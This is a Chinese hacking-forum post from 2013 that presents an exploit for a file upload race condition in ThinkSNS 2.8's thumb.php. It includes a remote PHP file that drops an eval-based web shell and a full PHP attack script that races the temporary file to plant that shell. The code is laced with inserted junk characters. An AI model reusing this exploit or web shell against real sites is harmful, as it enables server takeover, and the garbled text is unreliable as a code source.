找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2164|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
& e! L# O" |4 @% [( Y& R存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)/ F( [( @5 o+ B$ O" F! n3 l
漏洞文件1 R, Z; s+ L" d% q+ u: x0 a8 r
存在漏洞的文件为:thumb.php2 }% \+ J" T& B$ L4 n: E) K
作者:韦鲲鹏
) y8 J) Q% {" q/ D1、        准备如下PHP文件并上传到服务器(自己的)。
, A0 v$ j$ j) Q文件内容如下:
2 h% |. m' m5 t) q' \<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
4 F# e: F9 C& i( I2 ~5 G- L2、        计算出临时的文件名:
6 V# Z/ |+ K3 k6 X; {0 e3 q这里我们可以看文件的99行(刚刚是不是没注意呀!)。
+ t9 z- t" |- K7 I. L
0 N4 q0 u! ~& Z% d  S; n3、        上传临时文件。' P! \9 d! L( f; P! |: b
4、        访问临时文件。
) G: X+ ]4 V7 F9 {1 e但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。), L* p! K0 C4 z, j5 a
Exploit文件内容如下:(这个我就不详细解释了)
# t  B; P5 P% A: Q" H$ i# f4 Q: s9 [<?php
" m8 N7 e4 \5 R9 terror_reporting(0);/ X$ h1 d$ W3 W. {1 D
set_time_limit(0);
+ G1 i$ A8 h! M! Xini_set(“default_socket_timeout”, 5);
# {2 a4 g  z& qfunction http_send($host, $port, $headers) {" [8 n9 l! X+ g" N: u' z
$fp = fsockopen($host, $port);
' A" [$ s. ?( Y. Z' Fif (!$fp) die(‘Connection -> fail’);$ e$ x6 A# ^8 [: L" P8 h1 b5 S5 J
fputs($fp, $headers);
0 n8 i( {1 b/ \0 w  t  }return $fp;% H' U5 H9 o1 w0 ?( t, p& \& G
}7 Q' Y0 G  C) l, P: M7 m3 s2 P
function http_recv($fp) {* k4 }8 I0 X5 C1 e& u! b& `6 ]1 g
$ret=”";
* I$ @3 U4 N3 zwhile (!feof($fp))
8 g5 |4 n+ x7 y0 H$ A- l* |# M  y$ }$ret.= fgets($fp, 1024);
$ V& l1 D6 K9 ^fclose($fp);) K, O6 k! B4 Y. E3 U
return $ret;
/ S4 O- s, y  h0 U' u, J}
, F, Y" i0 t+ \& x" g; pprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
; G! U/ L0 E0 v4 t$ Q/ G4 m7 A0 Pprint “# Discovered by 韦鲲鹏 #\n\n”;% W: F' \- v/ A0 k$ p
if ($argc < 4) {& @& T, _2 c+ ?* M/ Z
print “Usage:   php <host> <path> <romote_url>\n”;2 ~  }2 w  J& f1 e9 \
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
1 b" [) }& f3 M4 j3 }  Mdie();6 E' ^" U" C; ]
}
4 _" V! I) p+ D% U/ n9 u4 Q$host = $argv[1];
! s" u; h9 ^" q9 z" U, g3 e: z$path = $argv[2];
& g0 C. A2 Y  `/ n$url = $argv[3];9 v! o1 }2 W/ h; V
$i=0;
  r$ L- C: _, D! {" r//上传数据包
' I, h3 o9 i4 \1 g2 a$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;1 u3 y5 G: g; ^; ?7 k
$headers_up .= “Host: “.$host.”\r\n”;( |+ w! d% ?( c' i
$headers_up .= “Connection: close\r\n\r\n”;. N+ K8 [" S; D7 h3 f
echo $headers_up;& N1 E% u) @* B7 \3 B9 f* k
//临时文件访问数据包
3 c$ Q* I) y7 l& e0 m8 z$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;* ^2 k$ n; A3 }
$headers .= “Host: “.$host.”\r\n”;
$ M4 f8 U$ H" c2 L( O: e' `$headers .= “Connection: close\r\n\r\n”;
* q5 _# Q  h3 h$ ~" y5 {2 Wecho $headers;- n0 d7 Y( R& }! K8 A' z/ Z
while(++$i<10) {' @" v' J4 O1 v4 a5 w7 f. a* |
fclose(http_send($host, 80, $headers));) ?( Y- z5 L7 k- m9 [6 B. V
}
3 I& o6 V1 K8 \( ]$ {* \! ?6 tfclose(http_send($host, 80, $headers_up));
3 y1 a* R( D: r$ v; D' y/ ]while(++$i<50) {/ x0 c4 O/ l2 p' m8 a+ x8 |
fclose(http_send($host, 80, $headers));0 n- l' L% [6 C( q0 `
}
+ K3 T. b2 d, I2 F! J6 J' f% {$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
, X# i& ^/ {" x6 K. V$headers .= “Host: “.$host.”\r\n”;9 d! n7 R0 X7 h0 k, e  p
$headers .= “Connection: close\r\n\r\n”;6 y1 I' |% j/ C( [
$res=http_recv(http_send($host, 80, $headers));, c6 T5 z- ~+ X& {) b
if(preg_match(‘/200 OK/’,$res)) {0 |& Y1 v8 F* d7 y' O7 ?
print “Success!\n\n”;
+ p7 v/ p( n# M, u- K1 L- u' t1 |} else {* D# a' Q7 }% f% x8 ~& N
print “Fail!\n\n”;
! i1 j" @! T" S: x7 |4 x/ j}
( }* I/ u. A1 \" v?>
9 P/ H9 U/ u! Y1 Q5 Y​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表